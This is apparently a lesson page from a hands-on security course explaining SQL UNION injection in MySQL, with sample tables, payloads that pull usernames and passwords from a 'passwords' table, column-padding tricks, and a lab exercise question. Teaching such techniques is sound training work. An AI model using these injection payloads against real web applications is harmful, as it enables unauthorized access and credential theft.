Union Clause

So far, we have only been manipulating the original query to subvert the web application logic and bypass authentication, using the `OR` operator and comments. However, another type of SQL injection is injecting entire SQL queries executed along with the original query. This section will demonstrate this by using the MySQL `Union` clause to do `SQL Union Injection`.

Union

Before we start learning about Union Injection, we should first learn more about the SQL Union clause. The Union clause is used to combine results from multiple `SELECT` statements. This means that through a `UNION` injection, we will be able to `SELECT` and dump data from all across the DBMS, from multiple tables and databases. Let us try using the `UNION` operator in a sample database. First, let us see the content of the `ports` table:

```
mysql> SELECT * FROM ports;

+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| ZZ-21    | Shenzhen  |
+----------+-----------+
3 rows in set (0.00 sec)
```

Next, let us see the output of the `ships` tables:

```
mysql> SELECT * FROM ships;

+----------+-----------+
| Ship     | city      |
+----------+-----------+
| Morrison | New York  |
+----------+-----------+
1 rows in set (0.00 sec)
```

Now, let us try to use `UNION` to combine both results:

```
mysql> SELECT * FROM ports UNION SELECT * FROM ships;

+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-21    | Shenzhen  |
+----------+-----------+
4 rows in set (0.00 sec)
```

As we can see, `UNION` combined the output of both `SELECT` statements into one, so entries from the `ports` table and the `ships` table were combined into a single output with four rows. As we can see, some of the rows belong to the `ports` table while others belong to the `ships` table.

Note: The data types of the selected columns on all positions should be the same.

Even Columns

A `UNION` statement can only operate on `SELECT` statements with an equal number of columns. For example, if we attempt to `UNION` two queries that have results with a different number of columns, we get the following error:

```
mysql> SELECT city FROM ports UNION SELECT * FROM ships;

ERROR 1222 (21000): The used SELECT statements have a different number of columns
```

The above query results in an error, as the first `SELECT` returns one column and the second `SELECT` returns two. Once we have two queries that return the same number of columns, we can use the `UNION` operator to extract data from other tables and databases.

For example, if the query is:

Code: sql

```sql
SELECT * FROM products WHERE product_id = 'user_input'
```

We can inject a `UNION` query into the input, such that rows from another table are returned:

Code: sql

```sql
SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '
```

The above query would return `username` and `password` entries from the `passwords` table, assuming the `products` table has two columns.

Un-even Columns

We will find out that the original query will usually not have the same number of columns as the SQL query we want to execute, so we will have to work around that. For example, suppose we only had one column. In that case, we want to `SELECT`, we can put junk data for the remaining required columns so that the total number of columns we are `UNION`ing with remains the same as the original query.

For example, we can use any string as our junk data, and the query will return the string as its output for that column. If we `UNION` with the string `"junk"`, the `SELECT` query would be `SELECT "junk" from passwords`, which will always return `junk`. We can also use numbers. For example, the query `SELECT 1 from passwords` will always return `1` as the output.

Note: When filling other columns with junk data, we must ensure that the data type matches the columns data type, otherwise the query will return an error. For the sake of simplicity, we will use numbers as our junk data, which will also become handy for tracking our payloads positions, as we will discuss later.

Tip: For advanced SQL injection, we may want to simply use 'NULL' to fill other columns, as 'NULL' fits all data types.

The `products` table has two columns in the above example, so we have to `UNION` with two columns. If we only wanted to get one column 'e.g. `username`', we have to do `username, 2`, such that we have the same number of columns:

Code: sql

```
SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords
```

If we had more columns in the table of the original query, we have to add more numbers to create the remaining required columns. For example, if the original query used `SELECT` on a table with four columns, our `UNION` injection would be:

Code: sql

```
UNION SELECT username, 2, 3, 4 from passwords-- '
```

This query would return:

```
mysql> SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- '

+-----------+-----------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+-----------+-----------+-----------+
|   admin   |    2      |    3      |    4      |
+-----------+-----------+-----------+-----------+
```

As we can see, our wanted output of the '`UNION SELECT username from passwords`' query is found at the first column of the second row, while the numbers filled the remaining columns.

Start Instance

1 / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

Target: Click here to spawn the target system!

Authenticate to with user "root" and password "password"

+ 1 Connect to the above MySQL server with the 'mysql' tool, and find the number of records returned when doing a 'Union' of all records in the 'employees' table and all records in the 'departments' table.

Submit your answer here...

Submit

Hint

Previous Next

Cheat Sheet

Go to Questions

Table of Contents

Mitigating SQL Injection

Closing it Out

Skills Assessment - SQL Injection Fundamentals

My Workstation

OFFLINE

Start Instance

1 / 1 spawns left